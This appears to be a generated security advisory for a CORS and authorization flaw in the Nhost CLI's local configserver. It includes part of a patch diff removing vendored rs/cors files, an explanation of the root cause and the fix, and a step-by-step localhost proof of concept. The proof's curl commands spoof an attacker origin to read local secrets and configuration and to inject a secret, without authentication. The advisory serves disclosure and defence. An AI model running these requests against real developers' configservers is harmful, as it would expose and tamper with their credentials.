[examples/goji/server.go](https://github.com/rs/cors/blob/master/examples/goji/server.go) -* [Martini](http://martini.codegangsta.io): [examples/martini/server.go](https://github.com/rs/cors/blob/master/examples/martini/server.go) -* [Negroni](https://github.com/codegangsta/negroni): [examples/negroni/server.go](https://github.com/rs/cors/blob/master/examples/negroni/server.go) -* [Alice](https://github.com/justinas/alice): [examples/alice/server.go](https://github.com/rs/cors/blob/master/examples/alice/server.go) -* [HttpRouter](https://github.com/julienschmidt/httprouter): [examples/httprouter/server.go](https://github.com/rs/cors/blob/master/examples/httprouter/server.go) -* [Gorilla](http://www.gorillatoolkit.org/pkg/mux): [examples/gorilla/server.go](https://github.com/rs/cors/blob/master/examples/gorilla/server.go) -* [Buffalo](https://gobuffalo.io): [examples/buffalo/server.go](https://github.com/rs/cors/blob/master/examples/buffalo/server.go) -* [Gin](https://gin-gonic.github.io/gin): [examples/gin/server.go](https://github.com/rs/cors/blob/master/examples/gin/server.go) -* [Chi](https://github.com/go-chi/chi): [examples/chi/server.go](https://github.com/rs/cors/blob/master/examples/chi/server.go) - -## Parameters - -Parameters are passed to the middleware thru the `cors.New` method as follow: - -```go -c := cors.New(cors.Options{ - AllowedOrigins: []string{"http://foo.com", "http://foo.com:8080"}, - AllowCredentials: true, - // Enable Debugging for testing, consider disabling in production - Debug: true, -}) - -// Insert the middleware -handler = c.Handler(handler) -``` - -* **AllowedOrigins** `[]string`: A list of origins a cross-domain request can be executed from. If the special `*` value is present in the list, all origins will be allowed. An origin may contain a wildcard (`*`) to replace 0 or more characters (i.e.: `http://*.domain.com`). Usage of wildcards implies a small performance penality. Only one wildcard can be used per origin. The default value is `*`. -* **AllowOriginFunc** `func (origin string) bool`: A custom function to validate the origin. It takes the origin as an argument and returns true if allowed, or false otherwise. If this option is set, the content of `AllowedOrigins` is ignored. -* **AllowOriginRequestFunc** `func (r *http.Request, origin string) bool`: A custom function to validate the origin. It takes the HTTP Request object and the origin as argument and returns true if allowed or false otherwise. If this option is set, the contents of `AllowedOrigins` and `AllowOriginFunc` are ignored. -Deprecated: use `AllowOriginVaryRequestFunc` instead. -* **AllowOriginVaryRequestFunc** `func(r *http.Request, origin string) (bool, []string)`: A custom function to validate the origin. It takes the HTTP Request object and the origin as argument and returns true if allowed or false otherwise with a list of headers used to take that decision if any so they can be added to the Vary header. If this option is set, the contents of `AllowedOrigins`, `AllowOriginFunc` and `AllowOriginRequestFunc` are ignored. -* **AllowedMethods** `[]string`: A list of methods the client is allowed to use with cross-domain requests. Default value is simple methods (`GET` and `POST`). -* **AllowedHeaders** `[]string`: A list of non simple headers the client is allowed to use with cross-domain requests. -* **ExposedHeaders** `[]string`: Indicates which headers are safe to expose to the API of a CORS API specification. -* **AllowCredentials** `bool`: Indicates whether the request can include user credentials like cookies, HTTP authentication or client side SSL certificates. The default is `false`. -* **AllowPrivateNetwork** `bool`: Indicates whether to accept cross-origin requests over a private network. -* **MaxAge** `int`: Indicates how long (in seconds) the results of a preflight request can be cached. The default is `0` which stands for no max age. -* **OptionsPassthrough** `bool`: Instructs preflight to let other potential next handlers to process the `OPTIONS` method. Turn this on if your application handles `OPTIONS`. -* **OptionsSuccessStatus** `int`: Provides a status code to use for successful OPTIONS requests. Default value is `http.StatusNoContent` (`204`). -* **Debug** `bool`: Debugging flag adds additional output to debug server side CORS issues. - -See [API documentation](http://godoc.org/github.com/rs/cors) for more info. - -## Benchmarks - -``` -goos: darwin -goarch: arm64 -pkg: github.com/rs/cors -BenchmarkWithout-10 135325480 8.124 ns/op 0 B/op 0 allocs/op -BenchmarkDefault-10 24082140 51.40 ns/op 0 B/op 0 allocs/op -BenchmarkAllowedOrigin-10 16424518 88.25 ns/op 0 B/op 0 allocs/op -BenchmarkPreflight-10 8010259 147.3 ns/op 0 B/op 0 allocs/op -BenchmarkPreflightHeader-10 6850962 175.0 ns/op 0 B/op 0 allocs/op -BenchmarkWildcard/match-10 253275342 4.714 ns/op 0 B/op 0 allocs/op -BenchmarkWildcard/too_short-10 1000000000 0.6235 ns/op 0 B/op 0 allocs/op -PASS -ok github.com/rs/cors 99.131s -``` - -## Licenses - -All source code is licensed under the [MIT License](https://raw.github.com/rs/cors/master/LICENSE).
vendor/github.com/rs/cors/utils.go+0 −34 removed@@ -1,34 +0,0 @@ -package cors - -import ( - "net/http" - "strings" -) - -type wildcard struct { - prefix string - suffix string -} - -func (w wildcard) match(s string) bool { - return len(s) >= len(w.prefix)+len(w.suffix) && - strings.HasPrefix(s, w.prefix) && - strings.HasSuffix(s, w.suffix) -} - -// convert converts a list of string using the passed converter function -func convert(s []string, f func(string) string) []string { - out := make([]string, len(s)) - for i := range s { - out[i] = f(s[i]) - } - return out -} - -func first(hdrs http.Header, k string) ([]string, bool) { - v, found := hdrs[k] - if !found || len(v) == 0 { - return nil, false - } - return v[:1], true -}
vendor/github.com/rs/cors/wrapper/gin/gin.go+0 −60 removed@@ -1,60 +0,0 @@ -// Package cors/wrapper/gin provides gin.HandlerFunc to handle CORS related -// requests as a wrapper of github.com/rs/cors handler. -package gin - -import ( - "net/http" - - "github.com/gin-gonic/gin" - "github.com/rs/cors" -) - -// Options is a configuration container to setup the CORS middleware. -type Options = cors.Options - -// corsWrapper is a wrapper of cors.Cors handler which preserves information -// about configured 'optionPassthrough' option. -type corsWrapper struct { - *cors.Cors - optionsSuccessStatus int - optionsPassthrough bool -} - -// build transforms wrapped cors.Cors handler into Gin middleware. -func (c corsWrapper) build() gin.HandlerFunc { - return func(ctx *gin.Context) { - c.HandlerFunc(ctx.Writer, ctx.Request) - if !c.optionsPassthrough && - ctx.Request.Method == http.MethodOptions && - ctx.GetHeader("Access-Control-Request-Method") != "" { - // Abort processing next Gin middlewares. - ctx.AbortWithStatus(c.optionsSuccessStatus) - } - } -} - -// AllowAll creates a new CORS Gin middleware with permissive configuration -// allowing all origins with all standard methods with any header and -// credentials. -func AllowAll() gin.HandlerFunc { - return corsWrapper{Cors: cors.AllowAll()}.build() -} - -// Default creates a new CORS Gin middleware with default options. -func Default() gin.HandlerFunc { - return corsWrapper{Cors: cors.Default()}.build() -} - -// New creates a new CORS Gin middleware with the provided options. -func New(options Options) gin.HandlerFunc { - status := options.OptionsSuccessStatus - if status == 0 { - status = http.StatusNoContent - } - wrapper := corsWrapper{ - Cors: cors.New(options), - optionsSuccessStatus: status, - optionsPassthrough: options.OptionsPassthrough, - } - return wrapper.build() -}
vendor/github.com/rs/cors/wrapper/gin/LICENSE+0 −19 removed@@ -1,19 +0,0 @@ -Copyright (c) 2014 Olivier Poitrey <rs@dailymotion.com> - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE.
vendor/modules.txt+0 −7 modified@@ -998,13 +998,6 @@ github.com/quic-go/quic-go/quicvarint # github.com/rivo/uniseg v0.4.7 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rs/cors v1.11.0 -## explicit; go 1.13 -github.com/rs/cors -github.com/rs/cors/internal -# github.com/rs/cors/wrapper/gin v0.0.0-20240830163046-1084d89a1692 -## explicit; go 1.17 -github.com/rs/cors/wrapper/gin # github.com/russross/blackfriday/v2 v2.1.0 ## explicit github.com/russross/blackfriday/v2
Vulnerability mechanics
Root cause
"The local Nhost configserver improperly handles Cross-Origin Resource Sharing (CORS) and authorization, allowing unauthenticated access to sensitive local development secrets and configuration."
Attack vector
An attacker can exploit this vulnerability by tricking a developer running `nhost dev` into visiting a malicious web page. This page can then send cross-origin GraphQL requests to the developer's local configserver. The configserver, due to permissive CORS settings and no-op authorization directives, will process these requests. This allows the attacker to read local secrets and configuration, or even write new secrets to the `.secrets` file [ref_id=1].
Affected code
The vulnerability lies within the `nhost dev` local development environment, specifically in the hidden `configserver` command. The GraphQL router in `cli/cmd/configserver/configserver.go` incorrectly uses no-op authorization directives (`dummyMiddleware`, `dummyMiddleware2`) and the default permissive CORS configuration from `vendor/github.com/rs/cors/cors.go`. Sensitive queries and mutations are exposed in `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls` and handled by vulnerable resolvers in `vendor/github.com/nhost/be/services/mimir/graph/` and `cli/cmd/configserver/local.go` [ref_id=1].
What the fix does
The patch addresses the vulnerability by implementing three layered controls. First, CORS is restricted to only allow requests from the Nhost dashboard origin, preventing arbitrary origins from accessing the API. Second, a unique, per-project app ID is generated and used, replacing the fixed zero UUID, and this ID is validated by the configserver. Finally, secrets are redacted in memory before being returned and mutations to the `.secrets` file are reconciled to prevent overwriting with unknown values [patch_id=4826338].
Preconditions
- configThe developer must be running the local Nhost development environment using `nhost dev`.
- networkThe attacker must have network or browser reachability to the developer's local configserver.
Reproduction
The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.
1. Start a configserver instance against temporary local files:
```sh tmpdir=$(mktemp -d) config="$tmpdir/nhost.toml" secrets="$tmpdir/.secrets"
cat > "$config" <<'EOF' [hasura] adminSecret = 'local-test-admin-secret' webhookSecret = 'local-test-webhook-secret'
[[hasura.jwtSecrets]] type = 'HS256' key = 'local-test-jwt-secret'
[observability] [observability.grafana] adminPassword = 'local-test-grafana-password' EOF
cat > "$secrets" <<'EOF' localProofSecret = 'LOCAL_PROOF_SECRET_VALUE' EOF
port=18088 go run ./cli configserver \ --bind "127.0.0.1:$port" \ --storage-local-config-path "$config" \ --storage-local-secrets-path "$secrets" ```
2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:
```sh curl -sS -i -X OPTIONS \ -H 'Origin: https://attacker.example' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```
Observed proof output in this environment:
```text HTTP/1.1 204 No Content Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers ```
3. Read local development secrets without any authentication:
```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```
Observed proof output in this environment:
```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}} ```
4. Read sensitive local configuration without any authentication:
```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql" ```
Observed proof output in this environment:
```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}} ```
5. Mutate the local `.secrets` file without any authentication:
```sh curl -sS -i \ -H 'Origin: https://attacker.example' \ -H 'Content-Type: application/json' \ --data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \ "http://127.0.0.1:18088/v1/configserver/graphql"
grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets" ```
Observed proof output in this environment:
```text HTTP/1.1 200 OK Access-Control-Allow-Origin: * {"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}} INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER' ```
6. Cleanup:
```sh # Stop the configserver process, then remove the disposable fixture directory. rm -rf "$tmpdir" ```
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5News mentions
0No linked articles in our index yet.